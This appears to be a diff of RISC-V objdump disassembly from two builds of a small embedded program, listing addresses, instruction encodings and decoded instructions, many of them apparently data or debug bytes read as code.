+    292c:	01c5                	addi	gp,gp,17
+    292e:	86dd                	srai	a3,a3,0x17
     2930:	0000                	unimp
-    2932:	bd05                	j	2762 <__stack_size+0x1f62>
-    2934:	6901                	0x6901
-    2936:	0018                	0x18
-    2938:	0500                	addi	s0,sp,640
-    293a:	01c5                	addi	gp,gp,17
-    293c:	863a                	mv	a2,a4
-    293e:	0000                	unimp
-    2940:	0400                	addi	s0,sp,512
-    2942:	0200                	addi	s0,sp,256
-    2944:	2816                	fld	fa6,320(sp)
-    2946:	0000                	unimp
-    2948:	00030c07          	0x30c07
-    294c:	0300                	addi	s0,sp,384
-    294e:	0100                	addi	s0,sp,128
-    2950:	050c0303          	lb	t1,80(s8)
-    2954:	aa08                	fsd	fa0,16(a2)
-    2956:	0300000b          	0x300000b
-    295a:	0d0a                	slli	s10,s10,0x2
-    295c:	00000007          	0x7
-    2960:	0400                	addi	s0,sp,512
-    2962:	050e0b03          	lb	s6,80(t3)
-    2966:	2408                	fld	fa0,8(s0)
-    2968:	0016                	c.slli	zero,0x5
-    296a:	0300                	addi	s0,sp,384
-    296c:	0f0a                	slli	t5,t5,0x2
-    296e:	0805                	addi	a6,a6,1
-    2970:	6bc6                	flw	fs7,80(sp)
+    2932:	0400                	addi	s0,sp,512
+    2934:	0000                	unimp
+    2936:	0805                	addi	a6,a6,1
+    2938:	9d88                	0x9d88
+    293a:	0000                	unimp
+    293c:	1305                	addi	t1,t1,-31
+    293e:	53da                	lw	t2,180(sp)
+    2940:	0000                	unimp
+    2942:	0400                	addi	s0,sp,512
+    2944:	0200                	addi	s0,sp,256
+    2946:	0b32                	slli	s6,s6,0xc
+    2948:	0000                	unimp
+    294a:	0002fe07          	0x2fe07
+    294e:	0300                	addi	s0,sp,384
+    2950:	0100                	addi	s0,sp,128
+    2952:	05020103          	lb	sp,80(tp) # 50 <__stack_size-0x7b0>
+    2956:	d602                	sw	zero,44(sp)
+    2958:	0050                	addi	a2,sp,4
+    295a:	0300                	addi	s0,sp,384
+    295c:	0604                	addi	s1,sp,768
+    295e:	07050b03          	lb	s6,112(a0) # fffe1070 <_heap_end+0x7ffd2870>
+    2962:	0000                	unimp
+    2964:	0000                	unimp
+    2966:	0504                	addi	s1,sp,640
+    2968:	fc0d                	bnez	s0,28a2 <__stack_size+0x20a2>
+    296a:	001e                	c.slli	zero,0x7
+    296c:	0400                	addi	s0,sp,512
+    296e:	07070503          	lb	a0,112(a4) # 2070 <__stack_size+0x1870>
     2972:	0000                	unimp
-    2974:	07100e03          	lb	t3,113(zero) # 71 <__stack_size-0x78f>
-    2978:	0000                	unimp
-    297a:	0000                	unimp
-    297c:	0704                	addi	s1,sp,896
+    2974:	0000                	unimp
+    2976:	0304                	addi	s1,sp,384
+    2978:	0406                	slli	s0,s0,0x1
+    297a:	0805                	addi	a6,a6,1
+    297c:	0b32                	slli	s6,s6,0xc
     297e:	0000                	unimp
-    2980:	0000                	unimp
-    2982:	0304                	addi	s1,sp,384
-    2984:	0205110b          	0x205110b
-    2988:	55d6                	lw	a1,116(sp)
-    298a:	0000                	unimp
-    298c:	040d0403          	lb	s0,64(s10) # fffe1040 <_heap_end+0x7ffd2840>
-    2990:	07120503          	lb	a0,113(tp) # 16071 <__stack_size+0x15871>
-    2994:	0a99                	addi	s5,s5,6
-    2996:	0000                	unimp
-    2998:	0704                	addi	s1,sp,896
-    299a:	0b2d                	addi	s6,s6,11
-    299c:	0000                	unimp
-    299e:	0704                	addi	s1,sp,896
-    29a0:	0b61                	addi	s6,s6,24
-    29a2:	0000                	unimp
-    29a4:	0704                	addi	s1,sp,896
-    29a6:	0000                	unimp
-    29a8:	0000                	unimp
-    29aa:	07021003          	lh	zero,112(tp) # 70 <__stack_size-0x790>
-    29ae:	2b4e                	fld	fs6,208(sp)
-    29b0:	0000                	unimp
-    29b2:	0304                	addi	s1,sp,384
-    29b4:	1312                	slli	t1,t1,0x24
-    29b6:	0b05                	addi	s6,s6,1
-    29b8:	82e1                	srli	a3,a3,0x18
-    29ba:	0000                	unimp
-    29bc:	040e0d03          	lb	s10,64(t3)
-    29c0:	07020e03          	lb	t3,112(tp) # 70 <__stack_size-0x790>
-    29c4:	2c5c                	fld	fa5,152(s0)
-    29c6:	0000                	unimp
-    29c8:	0304                	addi	s1,sp,384
-    29ca:	0007040f          	0x7040f
-    29ce:	0000                	unimp
+    2980:	07080a03          	lb	s4,112(a6) # fffe0070 <_heap_end+0x7ffd1870>
+    2984:	0a72                	slli	s4,s4,0x1c
+    2986:	0000                	unimp
+    2988:	0304                	addi	s1,sp,384
+    298a:	0805090b          	0x805090b
+    298e:	00001573          	csrrw	a0,ustatus,zero
+    2992:	050a0a03          	lb	s4,80(s4)
+    2996:	6408                	flw	fa0,8(s0)
+    2998:	006c                	addi	a1,sp,12
+    299a:	0300                	addi	s0,sp,384
+    299c:	0b0e                	slli	s6,s6,0x3
+    299e:	00000007          	0x7
+    29a2:	0400                	addi	s0,sp,512
+    29a4:	00000007          	0x7
+    29a8:	0400                	addi	s0,sp,512
+    29aa:	050c0b03          	lb	s6,80(s8)
+    29ae:	0402                	c.slli64	s0
+    29b0:	03000057          	0x3000057
+    29b4:	0804                	addi	s1,sp,16
+    29b6:	0304                	addi	s1,sp,384
+    29b8:	0d05                	addi	s10,s10,1
+    29ba:	00000007          	0x7
+    29be:	0400                	addi	s0,sp,512
+    29c0:	00000007          	0x7
+    29c4:	0400                	addi	s0,sp,512
+    29c6:	00000007          	0x7
+    29ca:	0400                	addi	s0,sp,512
+    29cc:	00000007          	0x7
     29d0:	0300                	addi	s0,sp,384
-    29d2:	0218                	addi	a4,sp,256
+    29d2:	0710                	addi	a2,sp,896
     29d4:	00000007          	0x7
     29d8:	0400                	addi	s0,sp,512
-    29da:	05141b03          	lh	s6,81(s0) # fffe0051 <_heap_end+0x7ffd1851>
-    29de:	7106                	flw	ft2,96(sp)
-    29e0:	009e                	slli	ra,ra,0x7
+    29da:	050e1203          	lh	tp,80(t3)
+    29de:	0083670b          	0x83670b
     29e2:	0300                	addi	s0,sp,384
-    29e4:	00070307          	0x70307
-    29e8:	0000                	unimp
-    29ea:	0400                	addi	s0,sp,512
-    29ec:	0704                	addi	s1,sp,896
-    29ee:	0000                	unimp
+    29e4:	090d                	addi	s2,s2,3
+    29e6:	0304                	addi	s1,sp,384
+    29e8:	070e                	slli	a4,a4,0x3
+    29ea:	0304                	addi	s1,sp,384
+    29ec:	00070f0f          	0x70f0f
     29f0:	0000                	unimp
-    29f2:	0704                	addi	s1,sp,896
-    29f4:	0000                	unimp
-    29f6:	0000                	unimp
-    29f8:	07152203          	lw	tp,113(a0) # fffe1071 <_heap_end+0x7ffd2871>
-    29fc:	0000                	unimp
-    29fe:	0000                	unimp
-    2a00:	0704                	addi	s1,sp,896
-    2a02:	0000                	unimp
-    2a04:	0000                	unimp
-    2a06:	0304                	addi	s1,sp,384
-    2a08:	2b051613          	0x2b051613
-    2a0c:	6a50                	flw	fa2,20(a2)
-    2a0e:	0000                	unimp
-    2a10:	04022f03          	lw	t5,64(tp) # 40 <__stack_size-0x7c0>
-    2a14:	00000007          	0x7
-    2a18:	0400                	addi	s0,sp,512
-    2a1a:	05171403          	lh	s0,81(a4) # fffe0051 <_heap_end+0x7ffd1851>
-    2a1e:	be02                	fsd	ft0,312(sp)
-    2a20:	0015                	c.nop	5
-    2a22:	0400                	addi	s0,sp,512
-    2a24:	07181603          	lh	a2,113(a6) # fffe0071 <_heap_end+0x7ffd1871>
-    2a28:	0000                	unimp
-    2a2a:	0000                	unimp
-    2a2c:	0704                	addi	s1,sp,896
-    2a2e:	0000                	unimp
+    29f2:	0300                	addi	s0,sp,384
+    29f4:	0718                	addi	a4,sp,896
+    29f6:	00000007          	0x7
+    29fa:	0400                	addi	s0,sp,512
+    29fc:	05101b03          	lh	s6,81(zero) # 51 <__stack_size-0x7af>
+    2a00:	d306                	sw	ra,164(sp)
+    2a02:	009e                	slli	ra,ra,0x7
+    2a04:	0300                	addi	s0,sp,384
+    2a06:	00071107          	0x71107
+    2a0a:	0000                	unimp
+    2a0c:	0400                	addi	s0,sp,512
+    2a0e:	0704                	addi	s1,sp,896
+    2a10:	1312                	slli	t1,t1,0x24
+    2a12:	0000                	unimp
+    2a14:	0704                	addi	s1,sp,896
+    2a16:	0000                	unimp
+    2a18:	0000                	unimp
+    2a1a:	07122203          	lw	tp,113(tp) # 71 <__stack_size-0x78f>
+    2a1e:	0000                	unimp
+    2a20:	0000                	unimp
+    2a22:	0704                	addi	s1,sp,896
+    2a24:	0000                	unimp
+    2a26:	0000                	unimp
+    2a28:	0304                	addi	s1,sp,384
+    2a2a:	2b051313          	0x2b051313
+    2a2e:	6af2                	flw	fs5,28(sp)
     2a30:	0000                	unimp
-    2a32:	0304                	addi	s1,sp,384
-    2a34:	1904                	addi	s1,sp,176
-    2a36:	0205                	addi	tp,tp,1
-    2a38:	00002db7          	lui	s11,0x2
-    2a3c:	070a0403          	lb	s0,112(s4) # 6070 <__stack_size+0x5870>
-    2a40:	0000                	unimp
-    2a42:	0000                	unimp
-    2a44:	07080c03          	lb	s8,112(a6)
-    2a48:	0000                	unimp
+    2a32:	04072f03          	lw	t5,64(a4)
+    2a36:	00000007          	0x7
+    2a3a:	0400                	addi	s0,sp,512
+    2a3c:	05141403          	lh	s0,81(s0)
+    2a40:	1e02                	slli	t3,t3,0x20
+    2a42:	0015                	c.nop	5
+    2a44:	0400                	addi	s0,sp,512
+    2a46:	07151603          	lh	a2,113(a0)
     2a4a:	0000                	unimp
-    2a4c:	07052e03          	lw	t3,112(a0)
+    2a4c:	0000                	unimp
+    2a4e:	0704                	addi	s1,sp,896
     2a50:	0000                	unimp
     2a52:	0000                	unimp
     2a54:	0304                	addi	s1,sp,384
-    2a56:	1a31                	addi	s4,s4,-20
-    2a58:	0205                	addi	tp,tp,1
-    2a5a:	6b61                	lui	s6,0x18
-    2a5c:	0000                	unimp
-    2a5e:	071b0603          	lb	a2,113(s6) # 18071 <__stack_size+0x17871>
-    2a62:	0000                	unimp
-    2a64:	0000                	unimp
-    2a66:	0704                	addi	s1,sp,896
-    2a68:	0000                	unimp
-    2a6a:	0000                	unimp
-    2a6c:	0304                	addi	s1,sp,384
-    2a6e:	1c32                	slli	s8,s8,0x2c
-    2a70:	0205                	addi	tp,tp,1
-    2a72:	78ea                	flw	fa7,184(sp)
-    2a74:	0000                	unimp
-    2a76:	051d0e03          	lb	t3,81(s10)
-    2a7a:	0094ab27          	fsw	fs1,22(s1) # fffe0016 <_heap_end+0x7ffd1816>
-    2a7e:	0400                	addi	s0,sp,512
-    2a80:	07060f03          	lb	t5,112(a2)
-    2a84:	0000                	unimp
-    2a86:	0000                	unimp
-    2a88:	0304                	addi	s1,sp,384
-    2a8a:	1e10                	addi	a2,sp,816
-    2a8c:	2305                	jal	2fac <__stack_size+0x27ac>
-    2a8e:	3870                	fld	fa2,240(s0)
-    2a90:	0000                	unimp
-    2a92:	05072603          	lw	a2,80(a4)
-    2a96:	0125                	addi	sp,sp,9
-    2a98:	0400003b          	0x400003b
-    2a9c:	00000007          	0x7
-    2aa0:	0400                	addi	s0,sp,512
-    2aa2:	00000007          	0x7
-    2aa6:	0400                	addi	s0,sp,512
-    2aa8:	00000007          	0x7
-    2aac:	0300                	addi	s0,sp,384
-    2aae:	01df 051f 9813      	0x9813051f01df
-    2ab4:	0080                	addi	s0,sp,64
-    2ab6:	0300                	addi	s0,sp,384
-    2ab8:	00072017          	auipc	zero,0x72
-    2abc:	0000                	unimp
-    2abe:	0400                	addi	s0,sp,512
-    2ac0:	00000007          	0x7
-    2ac4:	0400                	addi	s0,sp,512
-    2ac6:	2101e003          	0x2101e003
-    2aca:	0604                	addi	s1,sp,768
-    2acc:	01e4                	addi	s1,sp,204
-    2ace:	2ad9                	jal	2ca4 <__stack_size+0x24a4>
-    2ad0:	0000                	unimp
-    2ad2:	0304                	addi	s1,sp,384
-    2ad4:	020e                	slli	tp,tp,0x3
-    2ad6:	00000007          	0x7
-    2ada:	0400                	addi	s0,sp,512
-    2adc:	00000007          	0x7
-    2ae0:	0400                	addi	s0,sp,512
-    2ae2:	0304                	addi	s1,sp,384
-    2ae4:	0b05                	addi	s6,s6,1
-    2ae6:	00000007          	0x7
-    2aea:	0300                	addi	s0,sp,384
-    2aec:	0211                	addi	tp,tp,4
-    2aee:	00000007          	0x7
-    2af2:	0400                	addi	s0,sp,512
-    2af4:	05221403          	lh	s0,82(tp) # 52 <__stack_size-0x7ae>
-    2af8:	ef04                	fsw	fs1,24(a4)
-    2afa:	0038                	addi	a4,sp,8
-    2afc:	0400                	addi	s0,sp,512
-    2afe:	05231803          	lh	a6,82(t1) # fffe0052 <_heap_end+0x7ffd1852>
-    2b02:	031e                	slli	t1,t1,0x7
-    2b04:	0092                	slli	ra,ra,0x4
-    2b06:	0400                	addi	s0,sp,512
-    2b08:	2401af03          	lw	t5,576(gp) # 78c42800 <_data_lma+0x5883c820>
-    2b0c:	0d05                	addi	s10,s10,1
-    2b0e:	2856                	fld	fa6,336(sp)
-    2b10:	0000                	unimp
-    2b12:	0404                	addi	s1,sp,512
-    2b14:	05090603          	lb	a2,80(s2)
-    2b18:	df02                	sw	zero,188(sp)
-    2b1a:	0015                	c.nop	5
-    2b1c:	0300                	addi	s0,sp,384
-    2b1e:	2509                	jal	3120 <__stack_size+0x2920>
-    2b20:	002ce907          	0x2ce907
-    2b24:	0300                	addi	s0,sp,384
-    2b26:	0210                	addi	a2,sp,256
-    2b28:	00000007          	0x7
-    2b2c:	0400                	addi	s0,sp,512
-    2b2e:	07261303          	lh	t1,114(a2)
-    2b32:	0000                	unimp
+    2a56:	00070307          	0x70307
+    2a5a:	0000                	unimp
+    2a5c:	0300                	addi	s0,sp,384
+    2a5e:	0711                	addi	a4,a4,4
+    2a60:	00000007          	0x7
+    2a64:	0400                	addi	s0,sp,512
+    2a66:	05161403          	lh	s0,81(a2) # fffe0051 <_heap_end+0x7ffd1851>
+    2a6a:	e204                	fsw	fs1,0(a2)
+    2a6c:	0039                	c.nop	14
+    2a6e:	0400                	addi	s0,sp,512
+    2a70:	05171803          	lh	a6,81(a4)
+    2a74:	aa1e                	fsd	ft7,272(sp)
+    2a76:	0092                	slli	ra,ra,0x4
+    2a78:	0400                	addi	s0,sp,512
+    2a7a:	1801af03          	lw	t5,384(gp) # 794e2732 <_data_lma+0x590de212>
+    2a7e:	0d05                	addi	s10,s10,1
+    2a80:	291a                	fld	fs2,384(sp)
+    2a82:	0000                	unimp
+    2a84:	0404                	addi	s1,sp,512
+    2a86:	00000007          	0x7
+    2a8a:	0400                	addi	s0,sp,512
+    2a8c:	0004                	0x4
+    2a8e:	0004                	0x4
+    2a90:	fd02                	fsw	ft0,184(sp)
+    2a92:	0010                	0x10
+    2a94:	0700                	addi	s0,sp,896
+    2a96:	02fe                	slli	t0,t0,0x1f
+    2a98:	0000                	unimp
+    2a9a:	03010003          	lb	zero,48(sp)
+    2a9e:	0801                	addi	a6,a6,0
+    2aa0:	0205                	addi	tp,tp,1
+    2aa2:	3aca                	fld	fs5,176(sp)
+    2aa4:	0000                	unimp
+    2aa6:	05090503          	lb	a0,80(s2) # fffe1050 <_heap_end+0x7ffd2850>
+    2aaa:	fb04                	fsw	fs1,48(a4)
+    2aac:	0300000b          	0x300000b
+    2ab0:	0b030a07          	0xb030a07
+    2ab4:	0702                	c.slli64	a4
+    2ab6:	0000                	unimp
+    2ab8:	0000                	unimp
+    2aba:	0504                	addi	s1,sp,640
+    2abc:	fc0d                	bnez	s0,29f6 <__stack_size+0x21f6>
+    2abe:	001e                	c.slli	zero,0x7
+    2ac0:	0400                	addi	s0,sp,512
+    2ac2:	00000007          	0x7
+    2ac6:	0400                	addi	s0,sp,512
+    2ac8:	050b0603          	lb	a2,80(s6) # fffe0050 <_heap_end+0x7ffd1850>
+    2acc:	b102                	fsd	ft0,160(sp)
+    2ace:	0026                	c.slli	zero,0x9
+    2ad0:	0300                	addi	s0,sp,384
+    2ad2:	0704                	addi	s1,sp,896
+    2ad4:	0205                	addi	tp,tp,1
+    2ad6:	9841                	andi	s0,s0,-16
+    2ad8:	0000                	unimp
+    2ada:	050c0803          	lb	a6,80(s8)
+    2ade:	7308                	flw	fa0,32(a4)
+    2ae0:	0015                	c.nop	5
+    2ae2:	0300                	addi	s0,sp,384
+    2ae4:	0d0a                	slli	s10,s10,0x2
+    2ae6:	0805                	addi	a6,a6,1
+    2ae8:	6c64                	flw	fs1,92(s0)
+    2aea:	0000                	unimp
+    2aec:	070e0e03          	lb	t3,112(t3)
+    2af0:	0000                	unimp
+    2af2:	0000                	unimp
+    2af4:	0704                	addi	s1,sp,896
+    2af6:	0000                	unimp
+    2af8:	0000                	unimp
+    2afa:	0304                	addi	s1,sp,384
+    2afc:	02050f0b          	0x2050f0b
+    2b00:	5704                	lw	s1,40(a4)
+    2b02:	0000                	unimp
+    2b04:	07100403          	lb	s0,113(zero) # 71 <__stack_size-0x78f>
+    2b08:	0000                	unimp
+    2b0a:	0000                	unimp
+    2b0c:	0304                	addi	s1,sp,384
+    2b0e:	1105                	addi	sp,sp,-31
+    2b10:	00000007          	0x7
+    2b14:	0400                	addi	s0,sp,512
+    2b16:	00000007          	0x7
+    2b1a:	0400                	addi	s0,sp,512
+    2b1c:	00000007          	0x7
+    2b20:	0400                	addi	s0,sp,512
+    2b22:	002ce807          	0x2ce807
+    2b26:	0300                	addi	s0,sp,384
+    2b28:	2b05120b          	0x2b05120b
+    2b2c:	6af2                	flw	fs5,28(sp)
+    2b2e:	0000                	unimp
+    2b30:	07132d03          	lw	s10,113(t1)
     2b34:	0000                	unimp
-    2b36:	0704                	addi	s1,sp,896
-    2b38:	2cff                	0x2cff
-    2b3a:	0000                	unimp
-    2b3c:	0704                	addi	s1,sp,896
-    2b3e:	0000                	unimp
-    2b40:	0000                	unimp
-    2b42:	0304                	addi	s1,sp,384
-    2b44:	2708                	fld	fa0,8(a4)
-    2b46:	00000007          	0x7
-    2b4a:	0400                	addi	s0,sp,512
-    2b4c:	0004                	0x4
-    2b4e:	0004                	0x4
-    2b50:	0500                	addi	s0,sp,640
-    2b52:	01b5                	addi	gp,gp,13
-    2b54:	55b4                	lw	a3,104(a1)
+    2b36:	0000                	unimp
+    2b38:	0304                	addi	s1,sp,384
+    2b3a:	f807142f          	0xf807142f
+    2b3e:	002c                	addi	a1,sp,8
+    2b40:	0400                	addi	s0,sp,512
+    2b42:	00000007          	0x7
+    2b46:	0400                	addi	s0,sp,512
+    2b48:	03150c03          	lb	s8,49(a0)
+    2b4c:	1616                	slli	a2,a2,0x25
+    2b4e:	0605                	addi	a2,a2,1
+    2b50:	00009ed3          	fadd.s	ft9,ft1,ft0,rtz
+    2b54:	0704                	addi	s1,sp,896
     2b56:	0000                	unimp
-    2b58:	b605                	j	2678 <__stack_size+0x1e78>
-    2b5a:	e801                	bnez	s0,2b6a <__stack_size+0x236a>
-    2b5c:	0099                	addi	ra,ra,6
-    2b5e:	0500                	addi	s0,sp,640
-    2b60:	4a7f01b7          	lui	gp,0x4a7f0
-    2b64:	0000                	unimp
-    2b66:	b805                	j	2396 <__stack_size+0x1b96>
-    2b68:	6301                	0x6301
-    2b6a:	004e                	c.slli	zero,0x13
-    2b6c:	0500                	addi	s0,sp,640
-    2b6e:	01b9                	addi	gp,gp,14
-    2b70:	176e                	slli	a4,a4,0x3b
-    2b72:	0000                	unimp
-    2b74:	ba05                	j	24a4 <__stack_size+0x1ca4>
-    2b76:	6401                	0x6401
-    2b78:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-    2b7c:	64fa01bb          	0x64fa01bb
-    2b80:	0000                	unimp
-    2b82:	bc05                	j	25b2 <__stack_size+0x1db2>
-    2b84:	4d01                	li	s10,0
-    2b86:	0059                	c.nop	22
-    2b88:	0500                	addi	s0,sp,640
-    2b8a:	01bd                	addi	gp,gp,15
-    2b8c:	5949                	li	s2,-14
-    2b8e:	0000                	unimp
-    2b90:	be05                	j	26c0 <__stack_size+0x1ec0>
-    2b92:	4501                	li	a0,0
-    2b94:	0011                	c.nop	4
-    2b96:	0500                	addi	s0,sp,640
-    2b98:	6dfb01bf c0050000 	0xc00500006dfb01bf
-    2ba0:	4101                	li	sp,0
-    2ba2:	0011                	c.nop	4
-    2ba4:	0500                	addi	s0,sp,640
-    2ba6:	01c1                	addi	gp,gp,16
-    2ba8:	1eb4                	addi	a3,sp,888
+    2b58:	0000                	unimp
+    2b5a:	07172d03          	lw	s10,113(a4)
+    2b5e:	0000                	unimp
+    2b60:	0000                	unimp
+    2b62:	07141803          	lh	a6,113(s0)
+    2b66:	00002dc7          	fmsub.s	fs11,ft0,ft0,ft0,rdn
+    2b6a:	0704                	addi	s1,sp,896
+    2b6c:	0000                	unimp
+    2b6e:	0000                	unimp
+    2b70:	0304                	addi	s1,sp,384
+    2b72:	182e                	slli	a6,a6,0x2b
+    2b74:	00000007          	0x7
+    2b78:	0400                	addi	s0,sp,512
+    2b7a:	05193103          	0x5193103
+    2b7e:	0302                	c.slli64	t1
+    2b80:	006c                	addi	a1,sp,12
+    2b82:	0300                	addi	s0,sp,384
+    2b84:	1a06                	slli	s4,s4,0x21
+    2b86:	00000007          	0x7
+    2b8a:	0400                	addi	s0,sp,512
+    2b8c:	00000007          	0x7
+    2b90:	0400                	addi	s0,sp,512
+    2b92:	051b3203          	0x51b3203
+    2b96:	7402                	flw	fs0,32(sp)
+    2b98:	0079                	c.nop	30
+    2b9a:	0300                	addi	s0,sp,384
+    2b9c:	1c0e                	slli	s8,s8,0x23
+    2b9e:	2705                	jal	32be <__stack_size+0x2abe>
+    2ba0:	955a                	add	a0,a0,s6
+    2ba2:	0000                	unimp
+    2ba4:	0304                	addi	s1,sp,384
+    2ba6:	00071d0f          	0x71d0f
     2baa:	0000                	unimp
-    2bac:	c205                	beqz	a2,2bcc <__stack_size+0x23cc>
-    2bae:	fc01                	bnez	s0,2ac6 <__stack_size+0x22c6>
-    2bb0:	05000037          	lui	zero,0x5000
-    2bb4:	4a7b01c3          	fmadd.d	ft3,fs6,ft7,fs1,rne
-    2bb8:	0000                	unimp
-    2bba:	c405                	beqz	s0,2be2 <__stack_size+0x23e2>
-    2bbc:	c001                	beqz	s0,2bbc <__stack_size+0x23bc>
-    2bbe:	007e                	c.slli	zero,0x1f
-    2bc0:	0500                	addi	s0,sp,640
-    2bc2:	230d01cb          	fnmsub.d	ft3,fs10,fa6,ft4,rne
-    2bc6:	0000                	unimp
-    2bc8:	e706                	fsw	ft1,140(sp)
-    2bca:	0301                	addi	t1,t1,0
-    2bcc:	003c                	addi	a5,sp,8
-    2bce:	0500                	addi	s0,sp,640
-    2bd0:	0284                	addi	s1,sp,320
-    2bd2:	00000d63          	beqz	zero,2bec <__stack_size+0x23ec>
-    2bd6:	8505                	srai	a0,a0,0x1
-    2bd8:	e402                	fsw	ft0,8(sp)
-    2bda:	05000007          	0x5000007
-    2bde:	0286                	slli	t0,t0,0x1
-    2be0:	00003a6b          	0x3a6b
-    2be4:	8705                	srai	a4,a4,0x1
-    2be6:	6e02                	flw	ft8,0(sp)
-    2be8:	0069                	c.nop	26
-    2bea:	0500                	addi	s0,sp,640
-    2bec:	0288                	addi	a0,sp,320
-    2bee:	7e7a                	flw	ft8,188(sp)
-    2bf0:	0000                	unimp
-    2bf2:	8905                	andi	a0,a0,1
-    2bf4:	3902                	fld	fs2,32(sp)
-    2bf6:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    2bfa:	028a                	slli	t0,t0,0x2
-    2bfc:	000040f7          	0x40f7
-    2c00:	8b05                	andi	a4,a4,1
-    2c02:	f302                	fsw	ft0,164(sp)
-    2c04:	0040                	addi	s0,sp,4
-    2c06:	0500                	addi	s0,sp,640
-    2c08:	028c                	addi	a1,sp,320
-    2c0a:	3a75                	jal	25c6 <__stack_size+0x1dc6>
-    2c0c:	0000                	unimp
-    2c0e:	8d05                	sub	a0,a0,s1
-    2c10:	d402                	sw	zero,40(sp)
-    2c12:	0001                	nop
-    2c14:	0500                	addi	s0,sp,640
-    2c16:	028e                	slli	t0,t0,0x3
-    2c18:	22a8                	fld	fa0,64(a3)
-    2c1a:	0000                	unimp
-    2c1c:	8f05                	sub	a4,a4,s1
-    2c1e:	2d02                	fld	fs10,0(sp)
-    2c20:	05000013          	li	zero,80
-    2c24:	0290                	addi	a2,sp,320
-    2c26:	000022a3          	sw	zero,5(zero) # 5 <__stack_size-0x7fb>
-    2c2a:	9105                	srli	a0,a0,0x21
-    2c2c:	6702                	flw	fa4,0(sp)
-    2c2e:	003a                	c.slli	zero,0xe
-    2c30:	0500                	addi	s0,sp,640
-    2c32:	0292                	slli	t0,t0,0x4
-    2c34:	47e4                	lw	s1,76(a5)
-    2c36:	0000                	unimp
-    2c38:	9f06                	add	t5,t5,ra
-    2c3a:	8602                	jr	a2
-    2c3c:	0600003b          	0x600003b
-    2c40:	02d4                	addi	a3,sp,324
-    2c42:	000072ef          	jal	t0,9c42 <__stack_size+0x9442>
-    2c46:	8606                	mv	a2,ra
-    2c48:	00513803          	0x513803
-    2c4c:	0500                	addi	s0,sp,640
-    2c4e:	70b4038b          	0x70b4038b
-    2c52:	0000                	unimp
-    2c54:	9106                	add	sp,sp,ra
-    2c56:	00513103          	0x513103
-    2c5a:	0000                	unimp
-    2c5c:	0004                	0x4
-    2c5e:	0500                	addi	s0,sp,640
-    2c60:	005c3827          	fsd	ft5,16(s8)
-    2c64:	0500                	addi	s0,sp,640
-    2c66:	ce28                	sw	a0,88(a2)
-    2c68:	007f                	0x7f
-    2c6a:	0500                	addi	s0,sp,640
-    2c6c:	332a                	fld	ft6,168(sp)
-    2c6e:	005c                	addi	a5,sp,4
-    2c70:	0500                	addi	s0,sp,640
-    2c72:	21590183          	lb	gp,533(s2)
-    2c76:	0000                	unimp
-    2c78:	8405                	srai	s0,s0,0x1
-    2c7a:	6701                	0x6701
-    2c7c:	0500000b          	0x500000b
-    2c80:	0185                	addi	gp,gp,1
-    2c82:	7326                	flw	ft6,104(sp)
-    2c84:	0000                	unimp
-    2c86:	8605                	srai	a2,a2,0x1
-    2c88:	2001                	jal	2c88 <__stack_size+0x2488>
-    2c8a:	05000063          	beq	zero,a6,2cca <__stack_size+0x24ca>
-    2c8e:	832c0187          	0x832c0187
-    2c92:	0000                	unimp
-    2c94:	8805                	andi	s0,s0,1
-    2c96:	2801                	jal	2ca6 <__stack_size+0x24a6>
-    2c98:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    2c9c:	0189                	addi	gp,gp,2
-    2c9e:	90a1                	srli	s1,s1,0x28
-    2ca0:	0000                	unimp
-    2ca2:	8a05                	andi	a2,a2,1
-    2ca4:	5501                	li	a0,-32
-    2ca6:	0021                	c.nop	8
-    2ca8:	0500                	addi	s0,sp,640
-    2caa:	2676018b          	0x2676018b
-    2cae:	0000                	unimp
-    2cb0:	9b06                	add	s6,s6,ra
-    2cb2:	7b01                	lui	s6,0xfffe0
-    2cb4:	005f 0600 01e7      	0x1e70600005f
-    2cba:	00003c03          	0x3c03
-    2cbe:	d406                	sw	ra,40(sp)
-    2cc0:	ef02                	fsw	ft0,156(sp)
-    2cc2:	0072                	c.slli	zero,0x1c
-    2cc4:	0600                	addi	s0,sp,768
-    2cc6:	0386                	slli	t2,t2,0x1
-    2cc8:	5138                	lw	a4,96(a0)
-    2cca:	0000                	unimp
-    2ccc:	8b05                	andi	a4,a4,1
-    2cce:	0070b403          	0x70b403
-    2cd2:	0600                	addi	s0,sp,768
-    2cd4:	0391                	addi	t2,t2,4
-    2cd6:	5131                	li	sp,-20
-    2cd8:	0000                	unimp
-    2cda:	9605                	srai	a2,a2,0x21
-    2cdc:	00513d03          	0x513d03
-    2ce0:	0500                	addi	s0,sp,640
-    2ce2:	9956039b          	0x9956039b
-    2ce6:	0000                	unimp
-    2ce8:	0400                	addi	s0,sp,512
-    2cea:	0000                	unimp
-    2cec:	0805                	addi	a6,a6,1
-    2cee:	6c20                	flw	fs0,88(s0)
-    2cf0:	0000                	unimp
-    2cf2:	0e05                	addi	t3,t3,1
-    2cf4:	3ae9                	jal	26ce <__stack_size+0x1ece>
+    2bac:	0400                	addi	s0,sp,512
+    2bae:	051e1003          	lh	zero,81(t3)
+    2bb2:	00396323          	0x396323
+    2bb6:	0300                	addi	s0,sp,384
+    2bb8:	1f26                	slli	t5,t5,0x29
+    2bba:	2505                	jal	31da <__stack_size+0x29da>
+    2bbc:	3c0e                	fld	fs8,224(sp)
+    2bbe:	0000                	unimp
+    2bc0:	0704                	addi	s1,sp,896
+    2bc2:	0000                	unimp
+    2bc4:	0000                	unimp
+    2bc6:	0704                	addi	s1,sp,896
+    2bc8:	0000                	unimp
+    2bca:	0000                	unimp
+    2bcc:	0704                	addi	s1,sp,896
+    2bce:	0000                	unimp
+    2bd0:	0000                	unimp
+    2bd2:	2001df03          	lhu	t5,512(gp) # 8000e260 <_end+0x80>
+    2bd6:	1305                	addi	t1,t1,-31
+    2bd8:	0000811b          	0x811b
+    2bdc:	07211703          	lh	a4,114(sp)
+    2be0:	0000                	unimp
+    2be2:	0000                	unimp
+    2be4:	0704                	addi	s1,sp,896
+    2be6:	0000                	unimp
+    2be8:	0000                	unimp
+    2bea:	0304                	addi	s1,sp,384
+    2bec:	01e0                	addi	s0,sp,204
+    2bee:	0422                	slli	s0,s0,0x8
+    2bf0:	e406                	fsw	ft1,8(sp)
+    2bf2:	a401                	j	2df2 <__stack_size+0x25f2>
+    2bf4:	0400002b          	0x400002b
+    2bf8:	07140e03          	lb	t3,113(s0)
+    2bfc:	00002de7          	0x2de7
+    2c00:	0704                	addi	s1,sp,896
